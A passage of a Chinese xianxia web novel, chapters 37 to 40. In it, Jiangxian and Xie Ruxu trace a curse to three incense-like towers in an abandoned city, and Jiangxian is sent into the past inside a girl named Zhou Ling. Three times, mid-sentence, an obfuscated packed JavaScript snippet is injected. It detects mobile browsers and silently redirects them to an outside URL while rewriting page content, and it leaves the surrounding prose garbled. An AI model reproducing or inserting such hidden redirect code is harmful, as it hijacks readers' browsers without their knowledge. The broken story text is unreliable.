压制许久的情绪顿时爆发,绛仙胸膛不停地起伏,“不就是因为我嘛,是我没看好你才让你被鬼上身,才让你变成这样的,我早就说了我不喜欢和别人待在一起,我不想对别人负责。好,这一次是我错,我现在就回去查,查清楚根源,找到解决的办法,如果找不到办法救不了你,那我就用我自己的命换你这条命,我决不食言!” 说完,绛仙转身就走,只留下衣袖用力甩起的破空声。 长徽连忙去拦,却被她用力推开。 “别管我!” 坐着的谢如恙被她这通话说得发懵,一只手搭上他的肩膀,道:“关心则乱,绛仙姑娘也是关心你。” “可是……”谢如恙一时也不知道该说什么,长徽没有拦住绛仙,失落地走回来,看到苍老的谢如恙后,抱歉道:“是我未能早些觉察城中异样。” “我也没有怪你们的意思,我刚刚……”谢如恙恨不得扇自己一个巴掌,可是现在手臂疼得厉害,抬手都做不到。 赵袂稳下心神:“事到如今,追究是谁的错已经没有意义了,我们先想办法解开谢二身上的诅咒。” “那绛仙呢?”谢如恙还盯着绛仙离开的方向,不知道她一个姑娘家会不会出事。 “莫要小瞧她,说不准,她会给我们带来新的消息呢?”赵袂轻声安慰。 “那我们接下来去哪儿?”长徽问。 赵袂负手立在水边,看着深黑色的潭面,道:“疑点太多,我们先从那座小楼查起,还有……昨夜的黑袍人。” 37. 燃香 来得自然随意,走得却是莫名其妙。 赵袂沉思片刻后转身,道:“我们先回去吧。”看向谢如恙,语调中带了些叹息,“先让他休息一会儿吧。” 长徽低头看了谢如恙一眼,颔首:“嗯。” 三人回到楼中时,楼中的居民正在正中央架着锅煮粥。 离开时几人都没注意观察,此时赵袂才认真数了数,住在这楼里的或男或女,或老或少,加在一起拢共有二十几个人。 然而,二十几个人就围着这一口小锅,吃一锅粥,未免有些太过奇怪了。 在看到三人进来后,那些人没什么反应,甚至对于谢如恙早上离开时风华正茂,此刻已经垂垂老矣这件事也没什么惊奇,连一个眼神都没多给。 谢如恙被长徽搀扶着坐在角落,看着赵袂缓缓走向一个和谢如恙一般满脸皱纹的婆婆,她正坐在人群外,小口小口地吃着粥,注意到赵袂向自己走来,她抬眼在赵袂身上扫了一眼。 “又是你?” 赵袂点点头,十分自然地在她身边坐下。 经过方才的观察,她发现这位婆婆和其他人似乎有所不同,空洞的瞳孔中偶尔会流露出一些专属于“人”的情绪,比如昨夜看到那孩子时的担心,以及刚刚那一眼落在她脸上的停顿。 赵袂想,或许这位婆婆就是解决问题的关键。 “婆婆,叨扰了,我几人初来此地,不知去路,想问您一些问题,您可否相告?” 闻言,婆婆喝粥的动作慢了下来,随后僵硬地将碗放在地上。 这时赵袂才意外发现,在她形同枯槁的手臂上,环着一只崭新粉嫩的玉镯。 “你想问什么?” 苍老的声音,拉回了赵袂的思绪,她道:“婆婆是哪里人?因何住在此处?” 婆婆回答地语速很慢,“我家住在玄夫城,离这儿不远。几年前,玄夫城大旱,城里没了粮食,饿死了好多人,我跟着别人一起逃到这儿的。” 赵袂垂下眼,继续道:“那您可知一个叫张贞的人?” 婆婆摇摇头,道:“不认识。” 说完,她再次端起碗来,空洞的目光直直看着前方,手下一勺一勺舀着粥送进嘴里。 赵袂眼底一暗:有问题! 据她所知,这玄夫城荒废了有百年之久,这婆婆却说是几年前,而且这里距玄夫城最多不过十几里,玄夫城大旱,这里怎么会不被波及?这里也没有粮食,她又为何放着奉天府不去,停留在这里? 想到此处,赵袂心下一动,将目光投向众人围起的那锅粥上,周围几里都没有种植稻米,他们煮粥用的米,是从哪里来的? 最后,她看了婆婆一眼,知道自己问不出什么来了,便道了声谢后起身往谢如恙的方向走去,又见昨夜那个有些呆傻的孩童正端着一碗粥抢先到了谢如恙面前。 他把粥递上前,说:“喝粥。” 谢如恙瞥了一眼,一想到这粥是用刚刚那脏得吓人的潭水熬的就恶心得想吐,连连拒绝:“不要不要。” 那孩子却好似没有听到一般,端着碗就往谢如恙的嘴边塞,边塞还边道:“喝粥,喝粥。” 谢如恙一着急,想抬手推开,可是还没等动作就因为情绪激动剧烈的咳嗽起来。 长徽连忙上前帮忙谢绝,道:“不必了,你自己喝就是。” 那孩子小心翼翼端着粥,走路不是很稳当,见谢如恙不愿意喝只好晃晃悠悠地转过身离开。 等谢如恙咳嗽停下,长徽才安慰道:“人生在世终有一老一死,你不必担心。” 谢如恙看向长徽,沉默片刻又是一阵剧烈的咳嗽。 赵袂不禁扶额,提醒道:“长徽公子,你大可不必安慰。” 如此安慰,怕是适得其反啊。 正巧,那孩子端着粥从赵袂身边经过,她伸手拦住道:“这位小公子,我行路许久也有些饿了,不知能否将此粥给我?” 一双黑黢黢的眼睛盯着赵袂看了很久,才伸手将碗递上,继续重复:“喝粥。” “多谢小公子。”赵袂接过碗仔细看了看,发现这些不过是普通稻米,没什么不同。 为了确保无异,她还将碗递到了长徽手上让他再检查一遍,最后的结果,也还是没有异样。 二人对视一眼,眼中都是同样的忧心。 …… 入夜,玄夫城外萧索凄凉,一阵又一阵干燥的风吹过,卷起几根因为缺水而旱死的枯草树皮,更显得怪异。 绛仙站在城门外,抱起手臂直勾勾盯着城门口那块石头。 这城这么大,她能直观感受到问题的只有两个,一是城门口的这块石头,二是城里立着的三座黑塔。 既然要查,那就先从这块石头查起。 她走上前,抬手正要一掌把这石头劈了看看这里头究竟是个什么东西,有什么古怪,可还没等她出手,便忽觉一阵带着药香的风从耳后吹过。 掌风霎时变了方向,朝着身后劈去,如她所料,带着戾气的一掌在半路就被来人截住,然后将掌力轻松化解。 她看都没看来人,便冷哼一声,“我就知道,你不可能会安稳待在马车里。” 谢如许轻笑,“能得绛仙姑娘此般了解,实乃我之幸事。” 绛仙收回手,转身没好气地问他:“你来干什么?还有昨夜你是不是在那座楼里?” 谢如许依旧是暧昧的回答:“你想让我在,我当然会在。” “我怎么就想让你在了?我希望你离我越远越好。”绛仙叉腰不去看他。 谢如许轻轻叹了口气,调转话头,道:“吵架了?” 绛仙愣了一下才意识到他在说什么,干脆直接转过身,“是,你那个好弟弟哭着喊着要找你呢,你要是担心他就快些去看他,少来烦我。” “与人相交,摩擦是在所难免的,阿恙身陷险境太过害怕,你又因为愧疚太过着急,大家都没有错,说开就好,不必放在心上。” 谢如许的声音很轻,像是一位温柔长者的劝导一般,说出的话却像是把绛仙整个人给剖开了一样。 绛仙顿时像是被抓了尾巴的猫一样,炸起来瞪他:“你说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850720|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?谁愧疚谁担心了?” 谢如许不答,只是唇边带着笑意,抬眼看向面前的这座城池,眉宇间流露出些许的忧心,“好了,不是要查这座城吗?我陪你一起。” 说罢,还没等绛仙同意或决绝,他就先行往城门走去。 “谁要你陪啊?麻烦……” 绛仙站在原地看他片刻,最后还是跟了上去。 此时城中的光景和绛仙第一次来时无二,路过昨夜歇脚的医馆时,绛仙还特地看了一眼,令人惊讶的是昨夜被那个叫“张贞”的鬼魂砸开的墙壁如今竟然奇迹般的修好了。 这城,这地方还真就处处透露着诡异。 “喂。”绛仙抱臂,佯装漫不经心地问,“你是不是能听到我的心声啊?” “许是心有灵犀吧。”谢如许走得风度翩翩,衣袂随风飘起,仿佛不是在查案而是在悠闲游街。 “我说真的。”绛仙少见的没有炸毛,而是继续问,“你能听到我的心声是能听到所有人的心声,还是只能听到我的?而且,你为什么能听到我的心声?我们以前有见过吗?” 谢如许顿了一下,停下步子,对上绛仙的双眼,道:“因为,我的心在你那里。” 绛仙先是一愣,然后是一阵恶寒。 “你有病吧?话本子看多了?”她嫌恶地搓了搓自己的胳膊,作势要快步往前走,却被谢如许伸手拉了回来。 “你干什么?” 话音刚落,谢如许便做出一个嘘的手势,“你看那里。” 绛仙随着谢如许的目光看去,见他指的正是她打算一会儿去查看的三座黑塔,便道:“我知道,用得着你说?” 谢如许轻轻哦了一声,问:“你觉得那东西像什么?” 绛仙挣脱开他的束缚,继续往前走:“塔,棍子,柱子。” 谢如许眼中幽深,薄唇轻启,缓缓吐出一个字:“香。” “香?”绛仙念了几遍,然后猛得刹住步子,看向谢如许的双眸中带着欣喜,“香!” 谢如许也带笑点头。 绛仙只觉豁然开朗。 怪不得,怪不得传闻中说这城里的东西长得飞快,人也老的飞快,原来是这三根柱子的问题! 以整个城郭为香炉,以人与其余活物的寿命做养料,让这香烧得更旺。 这样的祭祀活动绛仙之前游历四方也或多或少的听说过,但这东西一般都是用来祭拜什么东西,或者求财、求长生之类的。 那这三根香,又是求什么的呢? 不管它求什么,这东西绝对是让谢如恙变老的幕后元凶,先砍了了事。 绛仙右臂一甩,双月滑出,剑锋在月光的照射下闪出几点寒光。 谢如许却道:“以整座城中百姓的寿数做养料,不知是何人能做出这样罔顾人伦的事情。” “这城都废了多少年了,幕后凶手不知道都变成什么样子了,你要找啊?” 许久未出剑,绛仙活动着手臂,兴致勃勃地看向最中间的那座塔,“还是先砍这鬼东西,解了谢如恙身上的诅咒再说!” 38. 过去 “等……” 谢如许另一个等字还没出口,绛仙便提起剑,右足一点,像支离弦的弓箭一般冲了出去。 可是刚近塔身,剑锋还未砍在塔上,绛仙忽然感到一阵眩晕,耳边响起一阵急促的心跳声,而后心跳声愈发强烈,好像下一刻就要冲破胸膛飞出来一样。 绛仙握剑的手一抖,还未等她反应过来便急速向下坠去,直至跌落进一个带着暖意的怀抱。 “别着急,此处疑点颇多,先看看。”谢如许小心翼翼地扶着绛仙让她直起身。 “这塔……”绛仙按了按眉心,耳边的心跳声依旧强烈,她问:“你有听到什么声音吗?” 谢如许摇摇头,“什么声音?” “心跳声,很强烈的心跳声,像是在打鼓一样。”绛仙捂着耳朵,但那声音还是穿透手掌,长驱直入闯入她的耳膜。 一时间,她感觉自己的心也跟着那阵心跳声同频跳动起来,过于急促的心跳声总是会让人感到一阵莫名的焦躁,更别说绛仙本就因为谢如恙身上的诅咒着急,当下,更难自控。 一双温热的手缓缓附在她捂着耳朵的手背上,不知不觉间,谢如许已经将她整个人圈在了怀里。 “别急,慢慢来。” 他的呼吸很平缓,像是在刻意的绛仙,让她的心跳和自己的呼吸一样慢下来。 说来也怪,这方法竟然真的有用,没过多久,绛仙便感到自己耳边的心跳声小了不少,又几个呼吸之后,耳边的心跳声便彻底消失了。 她一点一点的移开手,确认那阵声音真的不见后松了口气,抬眼便见谢如许拿着双月递到自己面前,怕是刚刚着急捂耳朵,一不小心把双月丢下去了。 绛仙接过剑,没有急着收回去,将目光投向面前宏伟的建筑。 方才她没仔细看,竟然没有发现这高塔下面是一座巨大的行宫,正中央暗红的大门之上挂着一块牌匾,牌匾上的字和城外那块石头上的如出一辙。 只是这上面写着四个大字:法不阿贵。 “法不阿贵?”绛仙嘟囔了几声,“说得好听,这世上哪有什么一视同仁?不都是看人下菜碟吗?” 谢如许轻笑:“或许是挂着牌匾的人希望自己能做到呢?” 绛仙切了一声,没再多说,快步走上前推开门,跨过门槛,谢如许也不疾不徐地跟上。 从外看这行宫整体还算完好,无论是墙壁大门还是廊柱都没有多少被侵蚀腐朽的情况,可是进到里面却能让人大吃一惊:如此华丽的行宫里头竟然是个空壳? 除了寥寥几个或倒或立的柜子和书架外,几乎是一览无余的空旷。 按理来说这种规模的行宫内里摆设也不会差太多,难道是城里百姓出逃时带走了? 可是传闻中说只要进了这城诅咒就会被诅咒缠上,无论走多远都没用,那他们拿这些金银财宝有什么用?当陪葬吗? 绛仙走到一个还算完整的架子前翻了翻仅剩的几卷残章,密密麻麻的写着一长串,看得绛仙头疼,干脆把东西丢给谢如许让他看。 谢如许接过书简仔细看了一遍,惊奇道:“这是巫蛊之术?” 绛仙又拿起一卷,也和刚刚那卷一样,她转过身看谢如许,“匾上写着法不阿贵,里头却都是些没头没脑的奇技淫巧,果然只是面子好看。” 谢如许走上前在架子上扫了一眼,最后将目光落在了一片几乎隐没在角落里的花瓣上。 这花瓣已经彻底干枯了,怕是一用力就会碎掉,他伸手小心捡起,发现这是桃花花瓣。 他眼底闪过一丝诧异,随后便听到不远处传来的惊呼,赶忙转头去看,却发现绛仙正拎着画轴,一长卷画纸被铺在地上,而画纸上的东西,他再熟悉不过了。 “这是谁?”绛仙另一只手里还拿着几根枯枝。 她刚刚一打开这个柜子便见里头放着几根枯枝和这幅画。 画上是一座白色的山,高耸入云,像是一座雪山,落款处写着一小行字:庆元四十五年虞昭作。 “庆元四十五年?”绛仙皱起眉,谢如许在一边解答,“八百年前。” 绛仙眉头皱得更深:“又是八百年前?八百年前究竟发生了什么啊?” 意外的是,这一次谢如许没有回答,而是接过绛仙手中的枯枝,眼中晦暗不明。 之后,绛仙又在其他地方找了一圈,除过刚刚那些乱七八糟的东西外,没有任何收获。 要想解除诅咒就要把这塔给毁了,可这塔周围似乎有什么东西,只要靠近就会头疼心悸,碰都碰不到,这要怎么毁? 绛仙出了行宫站在台阶上抬头观察着这座塔,心想是那个杀千刀的做出这么没天理的事。 谢如许将那几根枯枝小心收好后走了出来,看着一脸愁容的绛仙,道:“解铃还须系铃人,我想我们要毁了这塔,还需知晓这塔是因何而建,为谁所建。” 绛仙哈一声,“这城都废弃几百年了,城里的人也都死完了,我们到哪儿去找建塔的人?还要问这塔是因何而建,难不成要回到八百年前去,沿路问问这塔是谁建的啊?” 闻言,谢如许轻笑:“未尝不可。” 绛仙一愣,转而看向谢如许,见他脸上那抹笑意愈深,惊讶道:“你有这个本事你不早说?” 谢如许缓步上前,伸出手来,示意绛仙把手放上去。 绛仙狐疑看他,不确定地问:“你确定你能回到过去?别框我。” “相信我。” 谢如许眼中笃定,绛仙也稍稍放下戒备,将手放在了谢如许手心,一阵暖意顺着手掌传到身体的每一个角落。 绛仙下意识地蜷起手指,却被谢如许反应极快的握住,和她掌心相对,十指相扣。 “你!” 绛仙正要开口,谢如许便出声打断:“这方法也是旁人告诉我的,我今日教于你,你可要好生记着,日后……想来有用。” “什……” 没等绛仙问完,一阵如诵经一般的声音便传入她脑海中,像是细极又摸不着的金线一圈又一圈地绕着她的脑袋转,然后越转越快,直至眼前一黑,脱离般倒下去。 不知是因为意识混沌还是真的有人接住了她,倒下的那一瞬她感受到的不是坚硬的石砖,而是一片带着暖意的柔软。 …… 另一边,天色已暗。 赵袂和长徽坐在小楼门口,等着昨夜那位黑袍人再次前来。 这次,他们一定要查清楚,那究竟是个什么东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850721|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可两人等了许久,没等来黑袍人却意外看到了一个小小的影子,正缓缓地往玄夫城的方向走去。 赵袂眯了眯眼,黑暗中有些看不真切那人的身影。 长徽定睛一看,道:“是昨日那个小童。” 赵袂诧异道:“他要往哪儿去?” 两人对视一眼,双双上前拦住他,“这位小公子,你这是要去哪儿?”赵袂轻声询问。 小童道:“爹娘,爹娘……” “爹娘?”赵袂愣了一下,抬眼间便看到那位婆婆蹒跚地向自己走来。 婆婆边走还边叫着:“阿桂,回来。” 赵袂低头看了一眼腿边的孩子,原来他叫阿桂。 阿桂视线依旧盯着玄夫城的方向,似乎他的爹娘就在那座城里。 婆婆走到后,牵上阿桂的手,“回去。” 阿桂双脚像是被灌了铅一样,每一步都走得极为僵硬沉重,头几乎要全部扭到身后,嘴里仍然叫着:“爹娘,爹娘。” 婆婆却丝毫不在意,只是一味地牵着阿桂往回走。 “这孩子……” 长徽敛眉道:“这孩子和其他人不一样。” “什么?”赵袂转头看他。 长徽认真道:“他是纯傻。” 赵袂瞳孔一颤,被长徽这句话惊得不轻。 长徽见赵袂表情有异,便再次解释:“他只是心智痴傻,但并非非人。” “那你看得出其他人是什么东西吗?”赵袂问。 长徽盯着一老一少离开的背影,道:“残魂。” “残魂?”赵袂顿了顿,又问,“他们存在有多少年了?” “据我观察,八百年有余。”长徽的声音笃定。 赵袂垂下眼,看来和她想得差不多。 玄夫城是大约八百年前废弃的,现在这些魂魄大概就是玄夫城中仅存的百姓。 可是,又是谁将他们汇聚在此处的呢? 此时,长徽又补充道:“魂魄离体会随着时间一点一点消散,最多只需一百年便会彻底消散在天地间,这些魂魄虽然有所缺失,却能存在八百年之久,不知是用了什么方法。” “会不会是把他们聚集在这里的人有什么特殊的法子?那他把这些魂魄聚在这里的目的又是什么?” 说到此处,赵袂心下一动,“这一切,会不会和昨夜我和绛仙所见的那位黑袍人有关?” 长徽迟疑着摇头,“我也不知。” 不远处,婆婆已经带着阿桂推开门走进了小楼,赵袂眉间轻蹙:“既然等不到黑袍人,我们就去问问那位阿婆。” “你白日不是已经问过了吗?”长徽有些不解。 赵袂却道:“这次问些别的。” 就从,她的那只镯子开始问起。 听到赵袂的问题,婆婆深灰色的瞳孔颤了几颤。 喉间滚动片刻,她轻声道:“这镯子,是我夫君给我的定情信物。” 长徽和赵袂各坐一边,头顶明月高悬,赵袂追问:“夫君?” “对,夫君。”婆婆怀中抱着乖巧把玩她衣带的阿桂,哑声道,“我姓周,曾经是城中大户的独生女儿,我遇到我夫君的那日 ……是春天。” 39. 私塾 檐外春光明媚,三两声鸟啼和着急促的脚步声传入屋中。 原本在榻上安睡的少女在睡梦中皱了皱眉,在门被推开的同时,猛得从床上坐起来。 单手扶着额头,似乎还未从睡梦中脱离。 “小姐,您醒啦!”贴身丫鬟小姚清脆的声音响起,她手里端着一个精致的木盒,盒子上的花纹正是当今玄夫城最为众人追捧的霓裳阁的标记。 见自家小姐不说话也没什么反应,小姚依旧喋喋不休:“我今儿一早就去霓裳阁取了衣服,小姐您快收拾收拾,时间要赶不上了!” 周泠捂着头,还未从眩晕中缓过神来就被一股脑地催了又催,下意识地斥一句:“闭嘴,烦死了!” 小姚突然被小姐这么一斥,吞了吞口水凑上前去:“小姐,您怎么了?” 周泠瞥她一眼,带着上位者的凌傲:“什么怎么了?大早上的吵吵吵,不说你说谁?” 小姚怯怯地抿唇,“是,小姐。” 她放轻了声音和动作,将早已准备好的衣裙摊开,对周泠道:“小姐,奴婢为您更衣。” 更衣的间隙,一道熟悉的声音在绛仙脑海中响起: 抱歉,穿回过去的法子那人只教了我一些皮毛,无法做到以自己的肉.身存在于过去,所以现在你正在过去之人的身体里。 莫名其妙被困在周泠身体里的绛仙挑眉:过去? 很快,谢如许的声音再次响起:没错,过去。 你现在是城南周家的独生千金,周泠,甚得父母喜爱宠溺,骄纵任性,喜好美人、美物、美景。 你需要跟随她的内心,按照她的意愿,经历她的人生。 话落,绛仙果然感到身体不由控制地动了起来,被小姚伺候着梳妆。 铜镜内,是一张小家碧玉的娇面,眉眼间的傲气让这张本该乖巧的脸多了几分生人勿进的气势。 看年龄这姑娘还要比绛仙自己要小上一些,最多也就十四五。 在周泠的挑剔声中,小姚为她梳好了妆,跟在她身后一同出了门,坐上马车。 此时,谢如许的声音已经消失,但绛仙还没有完全搞清楚状况,便在心中询问:那我现在是要去干什么?偷看?苏先生又是谁? 奇怪的是,这一次谢如许没有回答她,而是小姚的声音在耳边响起: “都说苏先生天人之资,可惜他门下只收男学生,不然姑娘就可以光明正大的去私塾看他了。” “是啊,若是私塾收女学生就好了。”周泠一脸失落。 绛仙却心道:敢情这姑娘大早上起来,穿一身桃花一样的粉色是要去偷看美人啊? 她低头看了看自己身上的一抹粉,嫌恶地撇了撇嘴角。 “对啊对啊。”小姚的眼睛不停闪烁,“都说苏先生是浊世佳公子,待人和善、学富五车,除了当了几年鳏夫外,几乎没什么缺点了。” 周泠娇嗔道:“鳏夫又如何?他夫人死了,不是正好吗?” 小姚诧异道:“什么正好?” 周泠许是觉得自己的想法不便与他人说,便摆摆手:“没什么,让车夫快些。” 说罢,她便拿起镜子,仔细打量着自己今日的装扮,然后满意的点点头。 虽然周泠没有把心里话说给小姚听,但绛仙却是知道得明明白白,惊得差点把眼珠子瞪出来: 一个豆蔻少女,大早上的千里跋涉去看一个鳏夫,还想……当续弦? 马车停下后,周泠被小姚搀扶着下车。 看着面前的三米左右的高墙,小姚十分自然地从马车后拿出了梯子,扶稳梯子后,目送自家小姐上去,嘴里还不住叮嘱:“小姐小心呐。” 不过一个还没梯子一半长的小姑娘怎么可能扶得稳这么重这么长的一个梯子,周泠双手用力抓着梯子两边的圆木,这才有惊无险,晃晃悠悠地爬上了墙头。 墙头的黑瓦被太阳晒得发烫,一直养在深闺里的娇小姐手掌又细嫩,一摸上去,她就感到一阵疼痛,不由缩了缩手。 小姚的声音从墙下响起:“小姐,您千万小心呐,别摔下去了。” 周泠回头不悦道:“放心吧,没那么蠢。” 随后,她俯下身,趴在墙头往院中的木亭下看去。 长桌整齐摆放,十多个学子安静地跪坐在软垫上,低头看书,一道白色的身影在长桌的间隙中穿行,因为被亭檐遮住了视线,周泠看不到那人的脸,只能看到他挺直的脊背,拿着书的骨节分明的手。 尝试了许久都看不到,周泠便缓缓俯下身,将整个上半身都贴在了黑瓦上,试图去看清楚那位苏先生的脸,可最多只能看到他的下巴,往上依旧被木檐遮住。 周泠小心翼翼地往前爬了爬,没想到手下一用力,年久未修缮过的瓦片便哗啦啦掉了一地。 瓦片砸在地上的声音不大不小,刚好可以传入专心听讲的学子耳中,众人闻声往墙头看来,连带着那位姓苏的先生也作势往这边走。 周泠一惊,慌忙打算往回走,谁曾想手下一滑,竟直接从墙头栽了下去。 大头朝下,不死也得残吧?! 绛仙下意识想稳住身体,可这具身体完全不受她控制,失重感和无奈同时泛起,她忽然想起这具身体不是自己的,自己再怎么努力控制也没有,干脆打消了挣扎的念头,跟着周泠闭上眼,任由她以哪种方式落地。 可等了好一会儿,预想中的疼痛都没有到来,只有腰间的温热。 周泠缓缓地睁开眼,看着那张近在咫尺的脸,呆住了。 白皙俊逸,清雅出尘,书生文人的风雅意味呼之欲出,鬓边的两缕白发不会让人去关注他的年龄,反而给他整个人添了几分沧桑的凄美感。 绛仙也呆住了,不是因为面前人的脸,也不是因为他眼中那点熟悉的雪白,而是因为,这样的情节…… 太老土了! 爬墙被发现,情急之下跌落墙头,然后被一位俊才接住,四目相对,含情脉脉…… 这和话本子里男女主人公的初遇简直一模一样啊! “你……”周泠第一次看到这样惊艳的脸,一时有些害羞,不知道要如何开口。 苏清玉将她稳稳安放在地上,道:“在下唐突,虽不知姑娘因何原因从墙头跌落,但男女授受不亲,私塾也不收女学生,姑娘还是早些回去吧。” 闻言,周泠感到双颊发烫,迎着数道看向自己的目光,或探究、或调笑,竟什么苏先生的都顾不上了,只想着快些逃离这些人的注视才好,对着紧闭的大门就是一阵猛冲。 刚迈过门槛,她听到背后有人窃笑:“那不是周家的小姐吗?她来这儿做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850722|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怕是听闻先生的美名,特意前来一睹真容的?” 一句接着一句的议论被一道带着愠意的声音打断:“安静,继续听学。” …… 周泠出了私塾后小姚便迎面小跑了过来,抓着她的手臂,担心的问:“小姐,您没事吧?” 周泠还在回味方才那个充满笔墨香气的怀抱,面对小姚的关切,只是摇摇头道:“没事,我们回去吧。” “真的没事吗?”小姚看自家小姐状态不太对劲,上前轻轻摸了摸她的额头,确认没什么事后才松了口气。 坐上回府的马车,绛仙感受着周泠心中的雀跃和欣喜,十分无语。 “不是说要查那座塔的来源吗?怎么把我丢进这么一个满脑子当鳏夫续弦的娇小姐身体里了?” 谢如许的声音很快响起:“因为我也不知建造这塔的是何人,便只能任由天命决定了。” “天命?这和抓阄有什么区别?”绛仙实在看不下去周泠这幅痴痴的模样了,而且她真的非常讨厌这种什么事都不能随自己掌控的感觉。 “没什么区别,但或许有时能带来出乎意料的惊喜呢?” “什么惊喜?” 谢如许的声音顿了一下,沉沉道:“你没有发现,现在这座城中还没有那三座塔吗?” 绛仙思索片刻,道:“那我们现在是回到那几座塔建成之前了?那我们能不能直接阻止建塔?” 谢如许叹了口气:“这种方法,我还没学到。” “你不是通晓万物的神仙吗?怎么连这个都学不会?”绛仙心中揶揄。 “人间道术业有专攻,神仙也是要各司其职的,回溯和幻境之法藏在蓬莱,我能学到一二就已经是幸事了。” “蓬莱?哪里是不是也有个什么宝物?叫什么……蓬莱果?”绛仙记得之前长徽说过,谢如恙身体里的蟾宫桂和那些人一直念叨的昆仑玉,以及蓬莱果、帝王心、玄武鳞是镇守五方的宝物。 既然昆仑玉在昆仑山,那蓬莱果就在蓬莱咯? 谢如许嗯了一声,“蓬莱幻境中生有蓬莱果,可令人死而复生。” “死而复生?!”绛仙突然来了兴趣,想着若是自己能拿到蓬莱果,把它卖了,价高者得,岂不是发达了? 谢如许却出声制止:“蓬莱幻境三十六洞天,能从各个洞天中完好无损的走出的人都少之又少,更别说能见到、拿到蓬莱果了。” 迄今为止,可是没有一个人见到过蓬莱果的。 “这么厉害?那你那位教你回溯之法的朋友又是如何从中出来的?” 蓬莱仙境中虽然宝物、功法甚多,但是无任何仙人看守,通俗来说就是一个巨大的、布满了机关的藏宝阁。 要是谢如许说的那位朋友能学到回溯之法还教给他,那就一定是从蓬莱中平安出来了。 既然有人能从中出来,就说明那地方也不是有去无回的葬身之地,富贵险中求,她又为何不去试一试呢? 绛仙等了好久,谢如许都没有回话,不知道是因为刻意隐瞒还是两人之间的连接中断。 此时,周泠的声音响起:“小姚,回府帮我准备一套男装。” “啊?小姐您要做什么?”小姚诧异道。 周泠轻轻一笑,道:“去私塾啊,去当苏先生的……得意弟子。” 40. 遗物 周泠下马车时,绛仙特地超远处看了一眼,偌大的城郭除过几栋小楼外没有任何的高建筑,几乎可以用一马平川来形容了。 那三座高塔,确实不存在。 而令绛仙更为诧异的是,在这个时候那座在玄夫城正中央的行宫也不存在。 她不由诧异:谢如许这是把她送到哪里来了? 之后的几日,周泠一直在为了乔装混进私塾做打算,绛仙觉得她是在白用功,毕竟周泠凭借骄纵的性格在城中可谓是“颇有盛名”。 从上次去私塾可能看得出来,就算再怎么乔装打扮也不可能蒙混过关吧? 但绛仙现在也没有阻止她的能力,再加上这都是早就已经发生过的事了,她还是安安稳稳当个看客,顺便搞清楚现在这座城里是个什么态势再说吧。 经过这些日子的观察,绛仙发现这座城的百姓包容性强得可怕,心眼也少得可怕。 睡觉不锁门,交往不设限,无论大事小事别人问就如实说。 而且,这城里的人似乎都喜欢搅浑水,和稀泥。譬如住在周泠家隔壁的一对夫妻,那位妇人夜夜挨打,哭的撕心裂肺,换做寻常人定是要开口劝人家离开的。 可这里的人无论亲疏竟都一致让她忍一忍,说什么:宁拆一座庙,不毁一桩婚。 还说什么夫妻相和才是圆满。 上次周泠外出时绛仙那么一瞥,发现那妇人都被打得不成人样了,鼻青脸肿的。 除此之外,绛仙还在这里遇到一个熟人:张贞。 那一日,周泠上街买收拾,一个头发糟乱,衣衫褴褛的男人砰的一下就撞了上来。 周泠一个手不能提肩不能扛的柔弱女子,当场就被他给倒在地。 可还没等她说什么,对面的男人就往后一仰倒了下去,手里紧紧攥着的两个包子也顺势滑落。 分明是对方撞的自己,可还没来得及发脾气对方就先倒了。 八尺有余的男人,轻轻这么一撞竟然就晕过去了? 面对向自己投来的探究的目光,周泠将手里的簪子狠狠摔在摊位上,指着倒地的男人,也不管对方听不听得到就是一顿痛骂。 直到吵出了街边医馆的大夫,她才停了下来。 那大夫长得花容月貌,周泠似乎也认识她,少见的对对方一笑,甜甜喊道:“祝姐姐。” 被她称作祝姐姐的女子全名叫做祝红泥,是玄夫城中人尽皆知的仁心大夫。 她的医术虽不比城中老医师精湛,但胜在善于另辟蹊径,治病救人又快又狠。 寻常医师不敢用的药她用得得心应手,寻常医师要精细称量的药材她随手一捻就丢进药包。 可谓是医术鬼才。 比她医术更受人追捧的,是她容貌。 一张明艳动人的脸,偏偏整日一副拒人于千里之外的神色,两相冲突,着实惹人注目,让人不由的想去探究。 周泠作为一个爱美之人,自然不会放过祝红泥。 在她心中,玄夫城有二美,一是苏清玉,二就是这祝红泥。 她笑着迎上去,祝红泥却是将目光放在晕倒在地的男人身上。 “这是怎么回事?”她问。 周泠撇着嘴答:“本小姐好端端走着,这脏鬼一下子就撞了上来,我还没说他呢,他先晕了,真是可恨。” 祝红泥抬手仿佛医馆的下手把人抬进去,然后散掉围观众人,带着周泠一同进了医馆。 她号了男人的脉,眼中流露出几分失望。 周泠惊叫道:“就撞了这么一下,不会给撞死了吧?” “没死。” 